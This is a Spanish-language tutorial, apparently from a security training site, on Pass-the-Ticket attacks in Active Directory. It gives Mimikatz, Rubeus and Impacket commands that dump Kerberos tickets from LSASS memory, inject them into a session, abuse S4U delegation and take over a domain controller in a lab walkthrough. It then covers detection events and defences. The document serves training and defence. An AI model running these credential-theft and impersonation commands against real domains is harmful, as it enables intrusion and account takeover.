Pass-the-Ticket en Active Directory: extracción, inyección y abuso de tickets Kerberos

2026-11-06 · 13 min de lectura

Aprende cómo un atacante extrae tickets Kerberos de la memoria con Mimikatz o Rubeus, los inyecta en otra sesión para suplantar usuarios, y cómo técnicas como Overpass-the-Hash y el abuso de delegación amplían el impacto. Incluye detección con eventos 4768/4769 y defensas probadas.

En la lección de Pass-the-Hash aprendiste que un hash NTLM robado sirve como contraseña en protocolos que usan NTLM. Pero en entornos modernos de Active Directory, Kerberos es el protocolo de autenticación por defecto, y muchos servicios solo aceptan tickets Kerberos, no NTLM. Si un atacante quiere moverse lateralmente en un dominio que ha deshabilitado NTLM o donde los servicios exigen Kerberos, necesita otra técnica: Pass-the-Ticket (PtT).

La idea es directa: en lugar de reutilizar un hash, el atacante extrae tickets Kerberos (TGT o TGS) de la memoria de un equipo comprometido y los inyecta en su propia sesión. Windows los acepta sin revalidar la contraseña del usuario original. El atacante pasa a ser ese usuario para todo el dominio, con sus privilegios, sus grupos y su acceso a recursos.

Pass-the-Ticket es una de las técnicas centrales del movimiento lateral en Active Directory. Aparece documentada en MITRE ATT&CK como T1550.003 y se practica en laboratorios como orthrus, titancorp y bekeeper de whoami-labs.

Practica solo contra dominios propios o entornos autorizados, como los laboratorios de whoami-labs. Inyectar tickets en un dominio ajeno sin permiso es un delito.

Qué es Pass-the-Ticket#

Cuando un usuario se autentica en un dominio con Kerberos, el KDC (Key Distribution Center, que vive en el controlador de dominio) le entrega un TGT (Ticket Granting Ticket). Ese TGT demuestra quién es el usuario durante toda la sesión, normalmente 10 horas. Con el TGT en mano, el usuario puede pedir TGS (Ticket Granting Service) para acceder a cualquier servicio del dominio: SMB, HTTP, SQL, LDAP o WinRM, entre otros.

Flujo de Kerberos y punto de intercepción del ataque Pass-the-Ticket: el atacante roba el TGT o TGS de la memoria

Los tickets se almacenan en la memoria del proceso LSASS (Local Security Authority Subsystem Service) del equipo donde el usuario inició sesión. Si el atacante tiene privilegios de administrador local en ese equipo, puede leer la memoria de LSASS y extraer los tickets. Una vez extraídos, puede inyectarlos en su propia sesión de Windows o en una sesión de Kali con Impacket y suplantar al usuario original.

La diferencia clave con Pass-the-Hash es que PtT trabaja dentro del ecosistema Kerberos: no depende de NTLM, no requiere que el servicio de destino acepte autenticación NTLM y funciona incluso cuando se ha deshabilitado NTLM en el dominio.

Diferencia con Pass-the-Hash#

Ambas técnicas logran lo mismo (movimiento lateral sin conocer la contraseña), pero operan en capas distintas:

Aspecto	Pass-the-Hash	Pass-the-Ticket
Protocolo	NTLM	Kerberos
Qué se roba	Hash NTLM (persistente)	Ticket TGT o TGS (temporal, expira)
Fuente	SAM, LSASS, NTDS.dit	Memoria de LSASS en tiempo real
Vigencia	Indefinida hasta que cambie la contraseña	Horas (TGT 10 h por defecto, TGS variable)
Funciona sin NTLM	No	Sí
Herramientas	Mimikatz, Impacket, NetExec	Mimikatz, Rubeus, Impacket
MITRE ATT&CK	T1550.002	T1550.003

En la práctica, un atacante usa lo que le funcione. Si el dominio aún permite NTLM, PtH suele ser más cómodo porque el hash no expira. Si el dominio fuerza Kerberos, PtT es el camino.

Cómo se extraen los tickets#

El requisito previo es tener privilegios de administrador local (o SYSTEM) en un equipo donde haya sesiones activas de usuarios interesantes. Desde ahí, las herramientas principales son Mimikatz y Rubeus.

Extracción con Mimikatz#

Mimikatz accede directamente a la memoria de LSASS para listar y exportar tickets:

mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

El primer comando eleva el privilegio de depuración (necesario para leer LSASS). El segundo exporta todos los tickets de todas las sesiones activas como archivos .kirbi. Cada archivo es un ticket completo (TGT o TGS) listo para inyectar.

Para listar sin exportar:

mimikatz # sekurlsa::tickets

Verás una lista con el usuario, el servicio, el tipo de cifrado y la fecha de expiración de cada ticket.

Extracción con Rubeus#

Rubeus es una herramienta en C# que se ejecuta directamente en memoria, lo que facilita su uso en entornos donde se quiere evitar escribir archivos a disco:

Rubeus.exe dump /nowrap

Esto vuelca todos los tickets de las sesiones actuales en formato base64. El parámetro /nowrap evita los saltos de línea para facilitar copiar y pegar. Si quieres solo los TGT:

Rubeus.exe dump /service:krbtgt /nowrap

Cada ticket base64 se puede convertir a .kirbi con Rubeus o usarse directamente con Impacket tras convertirlo a .ccache.

Extracción desde Linux#

Si ya tienes acceso remoto desde Kali con credenciales válidas (por ejemplo, tras un Kerberoasting exitoso), puedes pedir tickets directamente sin tocar LSASS:

# Pedir un TGT con Impacket
getTGT.py corp.local/admin:'Password123' -dc-ip IP_DEL_DC

# El ticket queda en admin.ccache
export KRB5CCNAME=admin.ccache

Esto no es PtT en sentido estricto (estás generando tu propio ticket), pero el resultado práctico es el mismo: un archivo .ccache que puedes usar con cualquier herramienta de Impacket.

Cómo se inyectan los tickets#

Una vez que tienes el archivo del ticket (.kirbi o .ccache), lo cargas en tu sesión:

Inyección con Mimikatz (Windows)#

mimikatz # kerberos::ptt ticket_admin.kirbi

El ticket se carga en la sesión actual de Windows. A partir de ese momento, cualquier herramienta que use la API de Windows para autenticarse con Kerberos usará ese ticket. Puedes verificar que se cargó correctamente:

mimikatz # kerberos::list

O con el comando nativo de Windows:

klist

Inyección con Rubeus (Windows)#

Rubeus.exe ptt /ticket:<base64_del_ticket>

El efecto es el mismo: el ticket se inyecta en la sesión actual.

Uso desde Linux con Impacket#

En Linux no hay LSASS, pero Impacket usa la variable de entorno KRB5CCNAME para localizar el ticket:

export KRB5CCNAME=/ruta/al/ticket.ccache

# Ahora cualquier herramienta de Impacket usa ese ticket
psexec.py -k -no-pass corp.local/[email protected]
smbclient.py -k -no-pass corp.local/[email protected]
wmiexec.py -k -no-pass corp.local/[email protected]

El flag -k indica autenticación Kerberos y -no-pass indica que no hace falta contraseña porque el ticket ya está cargado.

Overpass-the-Hash#

Overpass-the-Hash (también llamado Pass-the-Key) es una variante que conecta PtH con PtT: el atacante usa un hash NTLM para pedir un TGT legítimo al KDC, y luego usa ese TGT con Kerberos como si fuera el usuario real.

mimikatz # sekurlsa::pth /user:admin /domain:corp.local /ntlm:92937945b518814341de3f726500d4ff /run:powershell.exe

Este comando abre un nuevo proceso de PowerShell donde el hash se ha usado para obtener un TGT. Ese proceso ya puede autenticarse con Kerberos contra cualquier servicio sin conocer la contraseña.

Con Rubeus:

Rubeus.exe asktgt /user:admin /rc4:92937945b518814341de3f726500d4ff /ptt

El flag /ptt inyecta el TGT resultante directamente en la sesión.

La ventaja sobre PtH puro es que, una vez que tienes el TGT, el tráfico posterior es Kerberos legítimo: no genera eventos NTLM que algunos controles detectan.

Abuso de delegación: S4U2Self y S4U2Proxy#

Las extensiones S4U (Service for User) de Kerberos permiten que un servicio pida tickets en nombre de otros usuarios. Están diseñadas para escenarios donde un servidor web necesita acceder a un recurso backend con la identidad del usuario que hizo la petición HTTP. Pero si un atacante compromete una cuenta con delegación restringida (constrained delegation), puede abusar de S4U para obtener TGS como cualquier usuario hacia los servicios permitidos.

Cómo funciona el abuso#

Si la cuenta svc-web tiene delegación restringida configurada para cifs/fileserver.corp.local:

# Desde Linux con Impacket
getST.py -spn cifs/fileserver.corp.local -impersonate Administrator corp.local/svc-web:'SvcPassword1' -dc-ip IP_DEL_DC

export KRB5CCNAME=Administrator@[email protected]
smbclient.py -k -no-pass corp.local/[email protected]

El atacante pide un TGS para cifs/fileserver haciéndose pasar por Administrator. El KDC se lo entrega porque la delegación está configurada para permitirlo. El resultado: acceso SMB al file server como Administrador del dominio.

Con Rubeus en Windows:

Rubeus.exe s4u /user:svc-web /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/fileserver.corp.local /ptt

Delegación sin restricciones#

Las cuentas con unconstrained delegation son aún más peligrosas: almacenan en LSASS los TGT de todos los usuarios que se autentican contra ellas. Si un atacante compromete un servidor con delegación sin restricciones, puede extraer el TGT de cualquier usuario que haya accedido al servicio, incluido el administrador del dominio.

Explotación paso a paso en un laboratorio#

En un laboratorio autorizado de whoami-labs con acceso de administrador local a un equipo del dominio:

Paso 1: Verificar privilegios#

whoami /priv
# Verificar que tienes SeDebugPrivilege o eres admin local

Paso 2: Listar tickets en memoria#

mimikatz # privilege::debug
mimikatz # sekurlsa::tickets

Busca TGT de usuarios con privilegios elevados (Domain Admins, administradores de servidores).

Paso 3: Exportar el ticket objetivo#

mimikatz # sekurlsa::tickets /export

Los archivos .kirbi se crean en el directorio actual. Identifica el que corresponde al usuario objetivo (por ejemplo, [0;3e7][email protected]).

Paso 4: Inyectar el ticket#

mimikatz # kerberos::ptt [0;3e7][email protected]

Paso 5: Verificar y acceder#

klist
# Deberías ver el ticket del usuario admin

dir \\DC01.corp.local\C$
# Acceso al DC como admin del dominio

Si el ticket es un TGT de un Domain Admin, acabas de obtener acceso completo al controlador de dominio.

Qué puede lograr un atacante#

Escenario	Ticket robado	Resultado
TGT de Domain Admin	TGT krbtgt	Control total del dominio
TGT de usuario con acceso a servidores	TGT krbtgt	Movimiento lateral a esos servidores
TGS para un servicio concreto	TGS cifs, http, mssql	Acceso a ese servicio como el usuario
Overpass-the-Hash con hash de admin	TGT generado	Acceso Kerberos sin dejar rastro NTLM
Delegación restringida comprometida	TGS S4U fabricado	Suplantación de cualquier usuario al servicio delegado
Delegación sin restricciones	TGT de visitantes	TGT de todos los que se autentiquen contra el servicio

Cómo se detecta#

La detección de PtT es más difícil que la de PtH porque el tráfico es Kerberos legítimo. Pero hay señales:

Eventos de Windows#

Evento 4768 (TGT emitido): busca peticiones de TGT desde equipos donde el usuario normalmente no inicia sesión. Un TGT de un Domain Admin pedido desde un workstation de soporte es sospechoso.
Evento 4769 (TGS emitido): un pico de TGS para múltiples servicios en poco tiempo desde una sola cuenta puede indicar exploración post-PtT.
Evento 4624 (inicio de sesión): tipo de logon 9 (NewCredentials) puede indicar inyección de ticket con /run: de Mimikatz.

Anomalías en tickets#

IP de origen inconsistente: un ticket emitido para un equipo pero usado desde otro equipo con otra IP.
Cifrado RC4 cuando AES está configurado: Mimikatz y Rubeus usan RC4 por defecto porque es más fácil de manejar. Si el dominio fuerza AES y aparecen tickets RC4, es una señal fuerte.
Tickets con vida inusual: un TGT con un tiempo de expiración que no coincide con la política del dominio.

Cómo se defiende un dominio#

Credential Guard#

Credential Guard aísla LSASS en una máquina virtual ligera basada en virtualización (VBS). Mimikatz y Rubeus no pueden leer la memoria de LSASS porque no tienen acceso al proceso aislado. Es la defensa más efectiva contra PtT.

# Verificar si Credential Guard está activo
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

Protected Users#

Las cuentas en el grupo Protected Users no generan tickets con cifrado RC4, no permiten delegación y fuerzan un tiempo de vida de TGT reducido (4 horas). Un ticket robado de un usuario en Protected Users es más difícil de explotar y expira más rápido.

# Añadir un usuario a Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members admin

Tiering de administración#

Separar las cuentas de administración en Tiers evita que un Domain Admin inicie sesión en workstations (Tier 2). Si la cuenta de Domain Admin nunca toca un workstation, su TGT nunca estará en la memoria de LSASS de ese equipo.

Deshabilitar delegación innecesaria#

Revisa periódicamente qué cuentas tienen delegación configurada y elimina la que no sea estrictamente necesaria:

# Buscar cuentas con delegación sin restricciones
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
Get-ADUser -Filter {TrustedForDelegation -eq $true}

# Buscar cuentas con delegación restringida
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo

Rotar la contraseña de KRBTGT#

Un Golden Ticket (un TGT forjado manualmente con la clave de KRBTGT) se invalida al rotar la contraseña de KRBTGT dos veces. Hacerlo cada seis meses reduce la ventana de explotación.

Errores comunes#

Pensar que deshabilitar NTLM es suficiente. PtT funciona con Kerberos puro; deshabilitar NTLM no lo bloquea.
No activar Credential Guard en workstations y servidores. Es la defensa más directa y muchas organizaciones no la despliegan.
Dejar Domain Admins iniciando sesión en equipos de usuario. Es la fuente principal de tickets de alto valor en memoria.
Ignorar la delegación. Cuentas con delegación sin restricciones olvidadas son equivalentes a tener un recolector de TGT abierto.
No monitorizar eventos 4768 y 4769. Sin esta auditoría, el PtT no deja rastro visible para el equipo de defensa.
Confiar solo en la expiración del ticket. Un TGT de 10 horas es tiempo de sobra para comprometer todo un dominio.

Preguntas frecuentes#

¿Pass-the-Ticket requiere credenciales?#

No directamente. Requiere acceso de administrador local al equipo donde están los tickets en memoria. Las credenciales del usuario suplantado nunca se necesitan: el ticket ya las reemplaza.

¿Funciona en dominios que solo permiten Kerberos?#

Sí, es exactamente donde PtT brilla. A diferencia de PtH, que necesita NTLM, PtT opera dentro del ecosistema Kerberos nativo.

¿Un ticket robado funciona para siempre?#

No. Los TGT tienen un tiempo de vida configurado por la política del dominio (por defecto 10 horas, renovable hasta 7 días). Los TGS tienen una vida más corta. Tras la expiración, el ticket no sirve.

¿Qué diferencia hay entre PtT y Golden Ticket?#

Un Golden Ticket es un TGT forjado desde cero usando la clave KRBTGT, que dura lo que el atacante quiera. Un PtT usa un ticket real extraído de memoria, con la expiración normal del dominio. Golden Ticket requiere comprometer KRBTGT; PtT requiere solo acceso de admin local a un equipo con sesiones activas.

¿Dónde practico?#

En los laboratorios orthrus y titancorp de whoami-labs, que incluyen entornos de Active Directory con cuentas y tickets explotables. El lab bekeeper cubre Pass-the-Hash, que es la técnica complementaria.

Resumen#

Pass-the-Ticket permite moverse lateralmente inyectando tickets Kerberos robados de la memoria de LSASS, sin necesidad de conocer contraseñas.
Se extraen con Mimikatz (sekurlsa::tickets /export) o Rubeus (dump /nowrap) y se inyectan con kerberos::ptt o ptt.
Overpass-the-Hash convierte un hash NTLM en un TGT legítimo, combinando lo mejor de PtH y PtT.
El abuso de delegación (S4U2Self/S4U2Proxy) permite suplantar cualquier usuario hacia servicios delegados si se compromete la cuenta de servicio.
Se detecta con eventos 4768, 4769 y anomalías en cifrado (RC4 en dominios AES) o IP de origen.
Se defiende con Credential Guard, Protected Users, tiering de administración, eliminación de delegación innecesaria y rotación de KRBTGT.